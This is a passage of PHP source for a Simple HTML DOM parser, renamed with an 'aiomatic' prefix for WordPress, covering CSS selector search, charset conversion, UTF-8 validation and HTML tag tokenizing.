HDOM_QUOTE_SINGLE: $quote = '\''; break; default: $quote = ''; } $ret .= $key.$this->_[HDOM_INFO_SPACE][$i][1].'='.$this->_[HDOM_INFO_SPACE][$i][2].$quote.$val.$quote; } } $ret = $this->dom->restore_noise($ret); return $ret . $this->_[HDOM_INFO_ENDSPACE] . '>'; } // find elements by css selector //PaperG - added ability for find to lowercase the value of the selector. function find($selector, $idx=null, $lowercase=false) { $selectors = $this->parse_selector($selector); if (($count=count($selectors))===0) return array(); $found_keys = array(); // find each selector for ($c=0; $c<$count; ++$c) { // The change on the below line was documented on the sourceforge code tracker id 2788009 // used to be: if (($levle=count($selectors[0]))===0) return array(); if (($levle=count($selectors[$c]))===0) return array(); if (!isset($this->_[HDOM_INFO_BEGIN])) return array(); $head = array($this->_[HDOM_INFO_BEGIN]=>1); // handle descendant selectors, no recursive! for ($l=0; $l<$levle; ++$l) { $ret = array(); foreach ($head as $k=>$v) { $n = ($k===-1) ? $this->dom->root : $this->dom->nodes[$k]; //PaperG - Pass this optional parameter on to the seek function. $n->seek($selectors[$c][$l], $ret, $lowercase); } $head = $ret; } foreach ($head as $k=>$v) { if (!isset($found_keys[$k])) { $found_keys[$k] = 1; } } } // sort keys ksort($found_keys); $found = array(); foreach ($found_keys as $k=>$v) $found[] = $this->dom->nodes[$k]; // return nth-element or array if (is_null($idx)) return $found; else if ($idx<0) $idx = count($found) + $idx; return (isset($found[$idx])) ? $found[$idx] : null; } // seek for given conditions // PaperG - added parameter to allow for case insensitive testing of the value of a selector. protected function seek($selector, &$ret, $lowercase=false) { global $debug_object; if (is_object($debug_object)) { $debug_object->debug_log_entry(1); } list($tag, $key, $val, $exp, $no_key) = $selector; // xpath index if ($tag && $key && is_numeric($key)) { $count = 0; foreach ($this->children as $c) { if ($tag==='*' || $tag===$c->tag) { if (++$count==$key) { $ret[$c->_[HDOM_INFO_BEGIN]] = 1; return; } } } return; } $end = (!empty($this->_[HDOM_INFO_END])) ? $this->_[HDOM_INFO_END] : 0; if ($end==0) { $parent = $this->parent; while (!isset($parent->_[HDOM_INFO_END]) && $parent!==null) { $end -= 1; $parent = $parent->parent; } $end += $parent->_[HDOM_INFO_END]; } for ($i=$this->_[HDOM_INFO_BEGIN]+1; $i<$end; ++$i) { $node = $this->dom->nodes[$i]; $pass = true; if ($tag==='*' && !$key) { if (in_array($node, $this->children, true)) $ret[$i] = 1; continue; } // compare tag if ($tag && $tag!=$node->tag && $tag!=='*') {$pass=false;} // compare key if ($pass && $key) { if ($no_key) { if (isset($node->attr[$key])) $pass=false; } else { if (($key != "plaintext") && !isset($node->attr[$key])) $pass=false; } } // compare value if ($pass && $key && $val && $val!=='*') { // If they have told us that this is a "plaintext" search then we want the plaintext of the node - right? if ($key == "plaintext") { // $node->plaintext actually returns $node->text(); $nodeKeyValue = $node->text(); } else { // this is a normal search, we want the value of that attribute of the tag. $nodeKeyValue = $node->attr[$key]; } if (is_object($debug_object)) {$debug_object->debug_log(2, "testing node: " . $node->tag . " for attribute: " . $key . $exp . $val . " where nodes value is: " . $nodeKeyValue);} //PaperG - If lowercase is set, do a case insensitive test of the value of the selector. if ($lowercase) { $check = $this->match($exp, strtolower($val), strtolower($nodeKeyValue)); } else { $check = $this->match($exp, $val, $nodeKeyValue); } if (is_object($debug_object)) {$debug_object->debug_log(2, "after match: " . ($check ? "true" : "false"));} // handle multiple class if (!$check && strcasecmp($key, 'class')===0) { foreach (explode(' ',$node->attr[$key]) as $k) { // Without this, there were cases where leading, trailing, or double spaces lead to our comparing blanks - bad form. if (!empty($k)) { if ($lowercase) { $check = $this->match($exp, strtolower($val), strtolower($k)); } else { $check = $this->match($exp, $val, $k); } if ($check) break; } } } if (!$check) $pass = false; } if ($pass) $ret[$i] = 1; unset($node); } // It's passed by reference so this is actually what this function returns. if (is_object($debug_object)) {$debug_object->debug_log(1, "EXIT - ret: ", $ret);} } protected function match($exp, $pattern, $value) { global $debug_object; if (is_object($debug_object)) {$debug_object->debug_log_entry(1);} switch ($exp) { case '=': return ($value===$pattern); case '!=': return ($value!==$pattern); case '^=': return preg_match("/^".preg_quote($pattern,'/')."/", $value); case '$=': return preg_match("/".preg_quote($pattern,'/')."$/", $value); case '*=': if ($pattern[0]=='/') { return preg_match($pattern, $value); } return preg_match("/".$pattern."/i", $value); } return false; } protected function parse_selector($selector_string) { global $debug_object; if (is_object($debug_object)) {$debug_object->debug_log_entry(1);} // pattern of CSS selectors, modified from mootools // Paperg: Add the colon to the attrbute, so that it properly finds <tag attr:ibute="something" > like google does. // Note: if you try to look at this attribute, yo MUST use getAttribute since $dom->x:y will fail the php syntax check. // Notice the \[ starting the attbute? and the @? following? This implies that an attribute can begin with an @ sign that is not captured. // This implies that an html attribute specifier may start with an @ sign that is NOT captured by the expression. // farther study is required to determine of this should be documented or removed. // $pattern = "/([\w-:\*]*)(?:\#([\w-]+)|\.([\w-]+))?(?:\[@?(!?[\w-]+)(?:([!*^$]?=)[\"']?(.*?)[\"']?)?\])?([\/, ]+)/is"; $pattern = "/([\w:\*-]*)(?:\#([\w-]+)|\.([\w-]+))?(?:\[@?(!?[\w:-]+)(?:([!*^$]?=)[\"']?(.*?)[\"']?)?\])?([\/, ]+)/is"; preg_match_all($pattern, trim($selector_string).' ', $matches, PREG_SET_ORDER); if (is_object($debug_object)) {$debug_object->debug_log(2, "Matches Array: ", $matches);} $selectors = array(); $result = array(); //print_r($matches); foreach ($matches as $m) { $m[0] = trim($m[0]); if ($m[0]==='' || $m[0]==='/' || $m[0]==='//') continue; // for browser generated xpath if ($m[1]==='tbody') continue; list($tag, $key, $val, $exp, $no_key) = array($m[1], null, null, '=', false); if (!empty($m[2])) {$key='id'; $val=$m[2];} if (!empty($m[3])) {$key='class'; $val=$m[3];} if (!empty($m[4])) {$key=$m[4];} if (!empty($m[5])) {$exp=$m[5];} if (!empty($m[6])) {$val=$m[6];} if($tag === null) { $tag = ''; } if($key === null) { $key = ''; } // convert to lowercase if ($this->dom->lowercase) {$tag=strtolower($tag); $key=strtolower($key);} //elements that do NOT have the specified attribute if (isset($key[0]) && $key[0]==='!') {$key=substr($key, 1); $no_key=true;} $result[] = array($tag, $key, $val, $exp, $no_key); if (trim($m[7])===',') { $selectors[] = $result; $result = array(); } } if (count($result)>0) $selectors[] = $result; return $selectors; } function __get($name) { if (isset($this->attr[$name])) { return $this->convert_text($this->attr[$name]); } switch ($name) { case 'outertext': return $this->outertext(); case 'innertext': return $this->innertext(); case 'plaintext': return $this->text(); case 'xmltext': return $this->xmltext(); default: return array_key_exists($name, $this->attr); } } function __set($name, $value) { global $debug_object; if (is_object($debug_object)) {$debug_object->debug_log_entry(1);} switch ($name) { case 'outertext': return $this->_[HDOM_INFO_OUTER] = $value; case 'innertext': if (isset($this->_[HDOM_INFO_TEXT])) return $this->_[HDOM_INFO_TEXT] = $value; return $this->_[HDOM_INFO_INNER] = $value; } if (!isset($this->attr[$name])) { $this->_[HDOM_INFO_SPACE][] = array(' ', '', ''); $this->_[HDOM_INFO_QUOTE][] = HDOM_QUOTE_DOUBLE; } $this->attr[$name] = $value; } function __isset($name) { switch ($name) { case 'outertext': return true; case 'innertext': return true; case 'plaintext': return true; } //no value attr: nowrap, checked selected... return (array_key_exists($name, $this->attr)) ? true : isset($this->attr[$name]); } function __unset($name) { if (isset($this->attr[$name])) unset($this->attr[$name]); } // PaperG - Function to convert the text from one character set to another if the two sets are not the same. function convert_text($text) { global $debug_object; if (is_object($debug_object)) {$debug_object->debug_log_entry(1);} $converted_text = $text; $sourceCharset = ""; $targetCharset = ""; if ($this->dom) { $sourceCharset = strtoupper($this->dom->_charset); $targetCharset = strtoupper($this->dom->_target_charset); } if (is_object($debug_object)) {$debug_object->debug_log(3, "source charset: " . $sourceCharset . " target charaset: " . $targetCharset);} if (!empty($sourceCharset) && !empty($targetCharset) && (strcasecmp($sourceCharset, $targetCharset) != 0)) { // Check if the reported encoding could have been incorrect and the text is actually already UTF-8 if ((strcasecmp($targetCharset, 'UTF-8') == 0) && ($this->is_utf8($text))) { $converted_text = $text; } else { $converted_text = iconv($sourceCharset, $targetCharset, $text); } } // Lets make sure that we don't have that silly BOM issue with any of the utf-8 text we output. if ($targetCharset == 'UTF-8') { if (substr($converted_text, 0, 3) == "\xef\xbb\xbf") { $converted_text = substr($converted_text, 3); } if (substr($converted_text, -3) == "\xef\xbb\xbf") { $converted_text = substr($converted_text, 0, -3); } } return $converted_text; } /** * Returns true if $string is valid UTF-8 and false otherwise. * * @param mixed $str String to be tested * @return boolean */ static function is_utf8($str) { $c=0; $b=0; $bits=0; $len=strlen($str); for($i=0; $i<$len; $i++) { $c=ord($str[$i]); if($c > 128) { if(($c >= 254)) return false; elseif($c >= 252) $bits=6; elseif($c >= 248) $bits=5; elseif($c >= 240) $bits=4; elseif($c >= 224) $bits=3; elseif($c >= 192) $bits=2; else return false; if(($i+$bits) > $len) return false; while($bits > 1) { $i++; $b=ord($str[$i]); if($b < 128 || $b > 191) return false; $bits--; } } } return true; } /* function is_utf8($string) { //this is buggy return (utf8_encode(utf8_decode($string)) == $string); } */ /** * Function to try a few tricks to determine the displayed size of an img on the page. * NOTE: This will ONLY work on an IMG tag. Returns FALSE on all other tag types. * * @author John Schlick * @version April 19 2012 * @return array an array containing the 'height' and 'width' of the image on the page or -1 if we can't figure it out. */ function get_display_size() { global $debug_object; $width = -1; $height = -1; if ($this->tag !== 'img') { return false; } // See if there is aheight or width attribute in the tag itself. if (isset($this->attr['width'])) { $width = $this->attr['width']; } if (isset($this->attr['height'])) { $height = $this->attr['height']; } // Now look for an inline style. if (isset($this->attr['style'])) { // Thanks to user gnarf from stackoverflow for this regular expression. $attributes = array(); preg_match_all("/([\w-]+)\s*:\s*([^;]+)\s*;?/", $this->attr['style'], $matches, PREG_SET_ORDER); foreach ($matches as $match) { $attributes[$match[1]] = $match[2]; } // If there is a width in the style attributes: if (isset($attributes['width']) && $width == -1) { // check that the last two characters are px (pixels) if (strtolower(substr($attributes['width'], -2)) == 'px') { $proposed_width = substr($attributes['width'], 0, -2); // Now make sure that it's an integer and not something stupid. if (filter_var($proposed_width, FILTER_VALIDATE_INT)) { $width = $proposed_width; } } } // If there is a width in the style attributes: if (isset($attributes['height']) && $height == -1) { // check that the last two characters are px (pixels) if (strtolower(substr($attributes['height'], -2)) == 'px') { $proposed_height = substr($attributes['height'], 0, -2); // Now make sure that it's an integer and not something stupid. if (filter_var($proposed_height, FILTER_VALIDATE_INT)) { $height = $proposed_height; } } } } // Future enhancement: // Look in the tag to see if there is a class or id specified that has a height or width attribute to it. // Far future enhancement // Look at all the parent tags of this image to see if they specify a class or id that has an img selector that specifies a height or width // Note that in this case, the class or id will have the img subselector for it to apply to the image. // ridiculously far future development // If the class or id is specified in a SEPARATE css file thats not on the page, go get it and do what we were just doing for the ones on the page. $result = array('height' => $height, 'width' => $width); return $result; } // camel naming conventions function getAllAttributes() {return $this->attr;} function getAttribute($name) {return $this->__get($name);} function setAttribute($name, $value) {$this->__set($name, $value);} function hasAttribute($name) {return $this->__isset($name);} function removeAttribute($name) {$this->__set($name, null);} function getElementById($id) {return $this->find("#$id", 0);} function getElementsById($id, $idx=null) {return $this->find("#$id", $idx);} function getElementByTagName($name) {return $this->find($name, 0);} function getElementsByTagName($name, $idx=null) {return $this->find($name, $idx);} function parentNode() {return $this->parent();} function childNodes($idx=-1) {return $this->children($idx);} function firstChild() {return $this->first_child();} function lastChild() {return $this->last_child();} function nextSibling() {return $this->next_sibling();} function previousSibling() {return $this->prev_sibling();} function hasChildNodes() {return $this->has_child();} function nodeName() {return $this->tag;} function appendChild($node) {$node->parent($this); return $node;} } /** * simple html dom parser * Paperg - in the find routine: allow us to specify that we want case insensitive testing of the value of the selector. * Paperg - change $size from protected to public so we can easily access it * Paperg - added ForceTagsClosed in the constructor which tells us whether we trust the html or not. Default is to NOT trust it. * * @package PlaceLocalInclude */ class aiomatic_simple_html_dom { /** * The root node of the document * * @var object */ public $root = null; /** * List of nodes in the current DOM * * @var array */ public $nodes = array(); /** * Callback function to run for each element in the DOM. * * @var callable|null */ public $callback = null; /** * Indicates how tags and attributes are matched * * @var bool When set to **true** tags and attributes will be converted to * lowercase before matching. */ public $lowercase = false; /** * Original document size * * Holds the original document size. * * @var int */ public $original_size; /** * Current document size * * Holds the current document size. The document size is determined by the * string length of ({@see aiomatic_simple_html_dom::$doc}). * * _Note_: Using this variable is more efficient than calling `strlen($doc)` * * @var int * */ public $size; /** * Current position in the document * * @var int */ protected $pos; /** * The document * * @var string */ protected $doc; /** * Current character * * Holds the current character at position {@see aiomatic_simple_html_dom::$pos} in * the document {@see aiomatic_simple_html_dom::$doc} * * _Note_: Using this variable is more efficient than calling `substr($doc, $pos, 1)` * * @var string */ protected $char; protected $cursor; /** * Parent node of the next node detected by the parser * * @var object */ protected $parent; protected $noise = array(); /** * Tokens considered blank in HTML * * @var string */ protected $token_blank = " \t\r\n"; /** * Tokens to identify the equal sign for attributes, stopping either at the * closing tag ("/" i.e. "<html />") or the end of an opening tag (">" i.e. * "<html>") * * @var string */ protected $token_equal = ' =/>'; /** * Tokens to identify the end of a tag name. A tag name either ends on the * ending slash ("/" i.e. "<html/>") or whitespace ("\s\r\n\t") * * @var string */ protected $token_slash = " />\r\n\t"; /** * Tokens to identify the end of an attribute * * @var string */ protected $token_attr = ' >'; // Note that this is referenced by a child node, and so it needs to be public for that node to see this information. public $_charset = ''; public $_target_charset = ''; /** * Innertext for <br> elements * * @var string */ protected $default_br_text = ""; /** * Suffix for <span> elements * * @var string */ public $default_span_text = ""; public $optional_closing_array = array(); /** * Defines a list of self-closing tags (Void elements) according to the HTML * Specification * * _Remarks_: * - Use `isset()` instead of `in_array()` on array elements to boost * performance about 30% * - Sort elements by name for better readability! * * @link https://www.w3.org/TR/html HTML Specification * @link https://www.w3.org/TR/html/syntax.html#void-elements Void elements */ protected $self_closing_tags = array( 'area'=>1, 'base'=>1, 'br'=>1, 'col'=>1, 'embed'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'link'=>1, 'meta'=>1, 'param'=>1, 'source'=>1, 'track'=>1, 'wbr'=>1 ); /** * Defines a list of tags which - if closed - close all optional closing * elements within if they haven't been closed yet. (So, an element where * neither opening nor closing tag is omissible consistently closes every * optional closing element within) * * _Remarks_: * - Use `isset()` instead of `in_array()` on array elements to boost * performance about 30% * - Sort elements by name for better readability! */ protected $block_tags = array( 'body'=>1, 'div'=>1, 'form'=>1, 'root'=>1, 'span'=>1, 'table'=>1 ); /** * Defines elements whose end tag is omissible. * * * key = Name of an element whose end tag is omissible. * * value = Names of elements whose end tag is omissible, that are closed * by the current element. * * _Remarks_: * - Use `isset()` instead of `in_array()` on array elements to boost * performance about 30% * - Sort elements by name for better readability! * * **Example** * * An `li` element's end tag may be omitted if the `li` element is immediately * followed by another `li` element. To do that, add following element to the * array: * * ```php * 'li' => array('li'), * ``` * * With this, the following two examples are considered equal. Note that the * second example is missing the closing tags on `li` elements. * * ```html * <ul><li>First Item</li><li>Second Item</li></ul> * ``` * * <ul><li>First Item</li><li>Second Item</li></ul> * * ```html * <ul><li>First Item<li>Second Item</ul> * ``` * * <ul><li>First Item<li>Second Item</ul> * * @var array A two-dimensional array where the key is the name of an * element whose end tag is omissible and the value is an array of elements * whose end tag is omissible, that are closed by the current element. * * @link https://www.w3.org/TR/html/syntax.html#optional-tags Optional tags * * @todo The implementation of optional closing tags doesn't work in all cases * because it only consideres elements who close other optional closing * tags, not taking into account that some (non-blocking) tags should close * these optional closing tags. For example, the end tag for "p" is omissible * and can be closed by an "address" element, whose end tag is NOT omissible. * Currently a "p" element without closing tag stops at the next "p" element * or blocking tag, even if it contains other elements. * * @todo Known sourceforge issue #2977341 * B tags that are not closed cause us to return everything to the end of * the document. */ protected $optional_closing_tags = array( 'b'=>array('b'=>1), // Not optional, see https://www.w3.org/TR/html/textlevel-semantics.html#the-b-element 'dd'=>array('dd'=>1, 'dt'=>1), 'dl'=>array('dd'=>1, 'dt'=>1), // Not optional, see https://www.w3.org/TR/html/grouping-content.html#the-dl-element 'dt'=>array('dd'=>1, 'dt'=>1), 'li'=>array('li'=>1), 'optgroup'=>array('optgroup'=>1, 'option'=>1), 'option'=>array('optgroup'=>1, 'option'=>1), 'p'=>array('p'=>1), 'rp'=>array('rp'=>1, 'rt'=>1), 'rt'=>array('rp'=>1, 'rt'=>1), 'td'=>array('td'=>1, 'th'=>1), 'th'=>array('td'=>1, 'th'=>1), 'tr'=>array('td'=>1, 'th'=>1, 'tr'=>1), ); function __construct($str=null, $lowercase=true, $forceTagsClosed=true, $target_charset=DEFAULT_TARGET_CHARSET, $stripRN=true, $defaultBRText=DEFAULT_BR_TEXT, $defaultSpanText=DEFAULT_SPAN_TEXT, $options=0) { if ($str) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } if (preg_match("/^http:\/\//i",$str) || $wp_filesystem->is_file($str)) { $this->load_file($str); } else { $this->load($str, $lowercase, $stripRN, $defaultBRText, $defaultSpanText, $options); } } // Forcing tags to be closed implies that we don't trust the html, but it can lead to parsing errors if we SHOULD trust the html. if (!$forceTagsClosed) { $this->optional_closing_array=array(); } $this->_target_charset = $target_charset; } function __destruct() { $this->clear(); } // load html from string function load($str, $lowercase=true, $stripRN=true, $defaultBRText=DEFAULT_BR_TEXT, $defaultSpanText=DEFAULT_SPAN_TEXT, $options=0) { global $debug_object; // prepare $this->prepare($str, $lowercase, $defaultBRText, $defaultSpanText); // Per sourceforge http://sourceforge.net/tracker/?func=detail&aid=2949097&group_id=218559&atid=1044037 // Script tags removal now preceeds style tag removal. // strip out <script> tags $this->remove_noise("'<\s*script[^>]*[^/]>(.*?)<\s*/\s*script\s*>'is"); $this->remove_noise("'<\s*script\s*>(.*?)<\s*/\s*script\s*>'is"); // strip out the \r \n's if we are told to. if ($stripRN) { $this->doc = str_replace("\r", " ", $this->doc); $this->doc = str_replace("\n", " ", $this->doc); // set the length of content since we have changed it. $this->size = strlen($this->doc); } // strip out cdata $this->remove_noise("'<!\[CDATA\[(.*?)\]\]>'is", true); // strip out comments $this->remove_noise("'<!--(.*?)-->'is"); // strip out <style> tags $this->remove_noise("'<\s*style[^>]*[^/]>(.*?)<\s*/\s*style\s*>'is"); $this->remove_noise("'<\s*style\s*>(.*?)<\s*/\s*style\s*>'is"); // strip out preformatted tags $this->remove_noise("'<\s*(?:code)[^>]*>(.*?)<\s*/\s*(?:code)\s*>'is"); // strip out server side scripts $this->remove_noise("'(<\?)(.*?)(\?>)'s", true); if($options & HDOM_SMARTY_AS_TEXT) { // Strip Smarty scripts $this->remove_noise("'(\{\w)(.*?)(\})'s", true); } // parsing $this->parse(); // end $this->root->_[HDOM_INFO_END] = $this->cursor; $this->parse_charset(); // make load function chainable return $this; } // load html from file function load_file() { $args = func_get_args(); if(count($args) == 0) { return false; } global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $doc = $wp_filesystem->get_contents($args[0]); if($doc !== false) { $this->load($doc, true); } else { return false; } } /** * Set the callback function * * @param callable $function_name Callback function to run for each element * in the DOM. * @return void */ function set_callback($function_name) { $this->callback = $function_name; } /** * Remove callback function * * @return void */ function remove_callback() { $this->callback = null; } // save dom as string function save($filepath='') { $ret = $this->root->innertext(); if ($filepath!=='') { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $wp_filesystem->put_contents($filepath, $ret); } return $ret; } // find dom node by css selector // Paperg - allow us to specify that we want case insensitive testing of the value of the selector. function find($selector, $idx=null, $lowercase=false) { return $this->root->find($selector, $idx, $lowercase); } // clean up memory due to php5 circular references memory leak... function clear() { foreach ($this->nodes as $n) {$n->clear(); $n = null;} // This add next line is documented in the sourceforge repository. 2977248 as a fix for ongoing memory leaks that occur even with the use of clear. if (isset($this->children)) foreach ($this->children as $n) {$n->clear(); $n = null;} if (isset($this->parent)) {$this->parent->clear(); unset($this->parent);} if (isset($this->root)) {$this->root->clear(); unset($this->root);} unset($this->doc); unset($this->noise); } function dump($show_attr=true) { $this->root->dump($show_attr); } // prepare HTML data and init everything protected function prepare($str, $lowercase=true, $defaultBRText=DEFAULT_BR_TEXT, $defaultSpanText=DEFAULT_SPAN_TEXT) { $this->clear(); $this->doc = trim($str); $this->size = strlen($this->doc); $this->original_size = $this->size; // Save the original size of the html that we got in. It might be useful to someone. $this->pos = 0; $this->cursor = 1; $this->noise = array(); $this->nodes = array(); $this->lowercase = $lowercase; $this->default_br_text = $defaultBRText; $this->default_span_text = $defaultSpanText; $this->root = new aiomatic_simple_html_dom_node($this); $this->root->tag = 'root'; $this->root->_[HDOM_INFO_BEGIN] = -1; $this->root->nodetype = HDOM_TYPE_ROOT; $this->parent = $this->root; if ($this->size>0) $this->char = $this->doc[0]; } /** * Parse HTML content * * @return bool True on success */ protected function parse() { while (true) { // Read next tag if there is no text between current position and the // next opening tag. if (($s = $this->copy_until_char('<'))==='') { if($this->read_tag()) { continue; } else { return true; } } // Add a text node for text between tags $node = new aiomatic_simple_html_dom_node($this); ++$this->cursor; $node->_[HDOM_INFO_TEXT] = $s; $this->link_nodes($node, false); } } // PAPERG - dkchou - added this to try to identify the character set of the page we have just parsed so we know better how to spit it out later. // NOTE: IF you provide a routine called get_last_retrieve_url_contents_content_type which returns the CURLINFO_CONTENT_TYPE from the last curl_exec // (or the content_type header from the last transfer), we will parse THAT, and if a charset is specified, we will use it over any other mechanism. protected function parse_charset() { global $debug_object; $charset = null; if (function_exists('get_last_retrieve_url_contents_content_type')) { $contentTypeHeader = get_last_retrieve_url_contents_content_type(); $success = preg_match('/charset=(.+)/', $contentTypeHeader, $matches); if ($success) { $charset = $matches[1]; if (is_object($debug_object)) {$debug_object->debug_log(2, 'header content-type found charset of: ' . $charset);} } } if (empty($charset)) { $el = $this->root->find('meta[http-equiv=Content-Type]',0, true); if (!empty($el)) { $fullvalue = $el->content; if (is_object($debug_object)) {$debug_object->debug_log(2, 'meta content-type tag found' . $fullvalue);} if (!empty($fullvalue)) { $success = preg_match('/charset=(.+)/i', $fullvalue, $matches); if ($success) { $charset = $matches[1]; } else { // If there is a meta tag, and they don't specify the character set, research says that it's typically ISO-8859-1 if (is_object($debug_object)) {$debug_object->debug_log(2, 'meta content-type tag couldn\'t be parsed. using iso-8859 default.');} $charset = 'ISO-8859-1'; } } } } // If we couldn't find a charset above, then lets try to detect one based on the text we got... if (empty($charset)) { // Use this in case mb_detect_charset isn't installed/loaded on this machine. $charset = false; if (function_exists('mb_detect_encoding')) { // Have php try to detect the encoding from the text given to us. $charset = mb_detect_encoding($this->doc . "ascii", $encoding_list = array( "UTF-8", "CP1252" ) ); if (is_object($debug_object)) {$debug_object->debug_log(2, 'mb_detect found: ' . $charset);} } // and if this doesn't work... then we need to just wrongheadedly assume it's UTF-8 so that we can move on - cause this will usually give us most of what we need... if ($charset === false) { if (is_object($debug_object)) {$debug_object->debug_log(2, 'since mb_detect failed - using default of utf-8');} $charset = 'UTF-8'; } } // Since CP1252 is a superset, if we get one of it's subsets, we want it instead. if ((strtolower($charset) == strtolower('ISO-8859-1')) || (strtolower($charset) == strtolower('Latin1')) || (strtolower($charset) == strtolower('Latin-1'))) { if (is_object($debug_object)) {$debug_object->debug_log(2, 'replacing ' . $charset . ' with CP1252 as its a superset');} $charset = 'CP1252'; } if (is_object($debug_object)) {$debug_object->debug_log(1, 'EXIT - ' . $charset);} return $this->_charset = $charset; } /** * Parse tag from current document position. * * @return bool True if a tag was found, false otherwise */ protected function read_tag() { // Set end position if no further tags found if ($this->char!=='<') { $this->root->_[HDOM_INFO_END] = $this->cursor; return false; } $begin_tag_pos = $this->pos; $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next // end tag if ($this->char==='/') { $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next // Skip whitespace in end tags (i.e. in "</ html>") $this->skip($this->token_blank); $tag = $this->copy_until_char('>'); // Skip attributes in end tags if (($pos = strpos($tag, ' '))!==false) $tag = substr($tag, 0, $pos); $parent_lower = strtolower($this->parent->tag); $tag_lower = strtolower($tag); // The end tag is supposed to close the parent tag. Handle situations // when it doesn't if ($parent_lower!==$tag_lower) { // Parent tag does not have to be closed necessarily (optional closing tag) // Current tag is a block tag, so it may close an ancestor if (isset($this->optional_closing_tags[$parent_lower]) && isset($this->block_tags[$tag_lower])) { $this->parent->_[HDOM_INFO_END] = 0; $org_parent = $this->parent; // Traverse ancestors to find a matching opening tag // Stop at root node while (($this->parent->parent) && strtolower($this->parent->tag)!==$tag_lower) $this->parent = $this->parent->parent; // If we don't have a match add current tag as text node if (strtolower($this->parent->tag)!==$tag_lower) { $this->parent = $org_parent; // restore origonal parent if ($this->parent->parent) $this->parent = $this->parent->parent; $this->parent->_[HDOM_INFO_END] = $this->cursor; return $this->as_text_node($tag); } } // Grandparent exists and current tag is a block tag, so our parent doesn't have an end tag else if (($this->parent->parent) && isset($this->block_tags[$tag_lower])) { $this->parent->_[HDOM_INFO_END] = 0; // No end tag $org_parent = $this->parent; // Traverse ancestors to find a matching opening tag // Stop at root node while (($this->parent->parent) && strtolower($this->parent->tag)!==$tag_lower) $this->parent = $this->parent->parent; // If we don't have a match add current tag as text node if (strtolower($this->parent->tag)!==$tag_lower) { $this->parent = $org_parent; // restore origonal parent $this->parent->_[HDOM_INFO_END] = $this->cursor; return $this->as_text_node($tag); } } // Grandparent exists and current tag closes it else if (($this->parent->parent) && strtolower($this->parent->parent->tag)===$tag_lower) { $this->parent->_[HDOM_INFO_END] = 0; $this->parent = $this->parent->parent; } else // Random tag, add as text node return $this->as_text_node($tag); } // Set end position of parent tag to current cursor position $this->parent->_[HDOM_INFO_END] = $this->cursor; if ($this->parent->parent) $this->parent = $this->parent->parent; $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next return true; } // start tag $node = new aiomatic_simple_html_dom_node($this); $node->_[HDOM_INFO_BEGIN] = $this->cursor; ++$this->cursor; $tag = $this->copy_until($this->token_slash); // Get tag name $node->tag_start = $begin_tag_pos; // doctype, cdata & comments... // <!DOCTYPE html> // <![CDATA[ ... ]]> // <!-- Comment --> if (isset($tag[0]) && $tag[0]==='!') { $node->_[HDOM_INFO_TEXT] = '<' . $tag . $this->copy_until_char('>'); if (isset($tag[2]) && $tag[1]==='-' && $tag[2]==='-') { // Comment ("<!--") $node->nodetype = HDOM_TYPE_COMMENT; $node->tag = 'comment'; } else { // Could be doctype or CDATA but we don't care $node->nodetype = HDOM_TYPE_UNKNOWN; $node->tag = 'unknown'; } if ($this->char==='>') $node->_[HDOM_INFO_TEXT].='>'; $this->link_nodes($node, true); $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next return true; } // The start tag cannot contain another start tag, if so add as text // i.e. "<<html>" if ($pos=strpos($tag, '<')!==false) { $tag = '<' . substr($tag, 0, -1); $node->_[HDOM_INFO_TEXT] = $tag; $this->link_nodes($node, false); $this->char = $this->doc[--$this->pos]; // prev return true; } // Handle invalid tag names (i.e. "<html#doc>") if (!preg_match("/^\w[\w:-]*$/", $tag)) { $node->_[HDOM_INFO_TEXT] = '<' . $tag . $this->copy_until('<>'); // Next char is the beginning of a new tag, don't touch it. if ($this->char==='<') { $this->link_nodes($node, false); return true; } // Next char closes current tag, add and be done with it. if ($this->char==='>') $node->_[HDOM_INFO_TEXT].='>'; $this->link_nodes($node, false); $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next return true; } // begin tag, add new node $node->nodetype = HDOM_TYPE_ELEMENT; $tag_lower = strtolower($tag); $node->tag = ($this->lowercase) ? $tag_lower : $tag; // handle optional closing tags if (isset($this->optional_closing_tags[$tag_lower]) ) { // Traverse ancestors to close all optional closing tags while (isset($this->optional_closing_tags[$tag_lower][strtolower($this->parent->tag)])) { $this->parent->_[HDOM_INFO_END] = 0; $this->parent = $this->parent->parent; } $node->parent = $this->parent; } $guard = 0; // prevent infinity loop $space = array($this->copy_skip($this->token_blank), '', ''); // [0] Space between tag and first attribute // attributes do { // Everything until the first equal sign should be the attribute name $name = $this->copy_until($this->token_equal); if ($name==='' && $this->char!==null && $space[0]==='') { break; } if ($guard===$this->pos) // Escape infinite loop { $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next continue; } $guard = $this->pos; // handle endless '<' if ($this->pos>=$this->size-1 && $this->char!=='>') { // Out of bounds before the tag ended $node->nodetype = HDOM_TYPE_TEXT; $node->_[HDOM_INFO_END] = 0; $node->_[HDOM_INFO_TEXT] = '<'.$tag . $space[0] . $name; $node->tag = 'text'; $this->link_nodes($node, false); return true; } // handle mismatch '<' if ($this->doc[$this->pos-1]=='<') { // Attributes cannot start after opening tag $node->nodetype = HDOM_TYPE_TEXT; $node->tag = 'text'; $node->attr = array(); $node->_[HDOM_INFO_END] = 0; $node->_[HDOM_INFO_TEXT] = substr($this->doc, $begin_tag_pos, $this->pos-$begin_tag_pos-1); $this->pos -= 2; $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next $this->link_nodes($node, false); return true; } if ($name!=='/' && $name!=='') { // this is a attribute name $space[1] = $this->copy_skip($this->token_blank); // [1] Whitespace after attribute name $name = $this->restore_noise($name); // might be a noisy name if ($this->lowercase) $name = strtolower($name); if 